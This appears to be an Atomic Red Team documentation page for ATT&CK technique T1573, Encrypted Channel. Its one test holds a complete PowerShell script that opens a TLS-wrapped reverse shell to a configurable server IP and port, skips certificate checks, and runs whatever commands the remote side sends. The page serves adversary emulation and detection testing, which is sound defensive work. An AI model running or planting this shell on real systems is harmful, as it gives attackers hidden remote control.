Atomic Red Team doc generator
68 lines
2.3 KiB
Markdown
68 lines
2.3 KiB
Markdown
# T1573 - Encrypted Channel
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## [Description from ATT&CK](https://attack.mitre.org/techniques/T1573)
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<blockquote>
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Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
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</blockquote>
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## Atomic Tests
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- [Atomic Test #1 - OpenSSL C2](#atomic-test-1---openssl-c2)
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<br/>
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## Atomic Test #1 - OpenSSL C2
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Thanks to @OrOneEqualsOne for this quick C2 method.
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This is to test to see if a C2 session can be established using an SSL socket.
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More information about this technique, including how to set up the listener, can be found here:
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https://medium.com/walmartlabs/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926
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Upon successful execution, powershell will make a network connection to 127.0.0.1 over 443.
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**Supported Platforms:** Windows
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**auto_generated_guid:** 21caf58e-87ad-440c-a6b8-3ac259964003
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#### Inputs:
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| Name | Description | Type | Default Value |
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|------|-------------|------|---------------|
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| server_ip | IP of the external server | string | 127.0.0.1|
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| server_port | The port to connect to on the external server | string | 443|
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#### Attack Commands: Run with `powershell`!
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```powershell
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$server_ip = #{server_ip}
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$server_port = #{server_port}
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$socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')
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$stream = $socket.GetStream()
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$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
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$sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false)
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$writer = new-object System.IO.StreamWriter($sslStream)
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$writer.Write('PS ' + (pwd).Path + '> ')
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$writer.flush()
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[byte[]]$bytes = 0..65535|%{0};
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while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
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{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
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$sendback = (iex $data | Out-String ) 2>&1;
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$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
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$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
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$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}
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```
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<br/>
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